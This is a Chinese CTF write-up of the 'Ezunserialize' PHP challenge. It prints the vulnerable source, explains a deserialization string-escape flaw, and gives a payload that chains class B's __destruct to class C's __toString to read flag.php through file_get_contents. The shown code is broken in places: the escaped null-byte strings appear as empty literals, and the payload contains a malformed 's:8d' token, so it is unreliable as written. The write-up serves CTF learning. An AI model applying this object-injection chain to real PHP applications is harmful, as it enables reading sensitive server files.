安恒月赛——Ezunserialize(反序列化字符逃逸)

Ezunserialize

题目给出了原码

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '', $data);
}

function read($data) {
    return str_replace('', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

代码审计

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '', $data);
}

function read($data) {
    return str_replace('', chr(0) . '*' . chr(0), $data);
}

这里是先将 chr(0).''.chr(0) 这 3 个字符替换为 这 6 个字符,然后再反过来在 read 函数处理后,原先的 '' 被替换成 chr(0).''.chr(0)。假如54个字符长度的 '' 被替换成27个字符长度的 chr(0).'*'.chr(0) ,但是它的字符长度标识还是 s:54 。所以在进行反序列化的时候,还会继续向后读取27个字符长度,这样序列化的结果就完全不一样了。


class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

这里是用C类中的__toString()方法中的file_get_contents()函数来读取flag.php的源码,然后发现在B类中存在字符串的拼接操作$c = 'a'.$this->b; 此处的$b属性实例化为C对象即可触发__toString()方法。


解题方法

下面贴出我的payload

$a = str_repeat('',27);
$b = '1234";s:8d:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
$c = new A($a,$b);
$d = unserialize(read(write(serialize($c))));
原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/12781055.html